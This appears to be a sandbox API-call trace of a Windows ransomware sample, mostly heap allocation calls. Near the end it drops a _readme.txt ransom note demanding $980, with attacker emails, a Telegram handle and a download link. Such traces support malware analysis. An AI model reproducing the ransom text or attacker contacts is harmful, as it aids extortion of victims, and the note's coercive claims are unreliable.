HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.113] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.113] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.114] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.114] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.115] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.117] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0059.117] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.117] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.117] PathFindFileNameW (pszPath="") returned="" [0059.117] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.118] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.118] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.118] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.118] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0059.118] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.118] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0059.118] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.118] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.118] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.118] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.118] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.119] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.119] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.119] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.119] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.119] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.119] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.119] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.120] CloseHandle (hObject=0x5c0) returned 1 [0059.120] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.120] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.120] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.120] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.120] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.120] 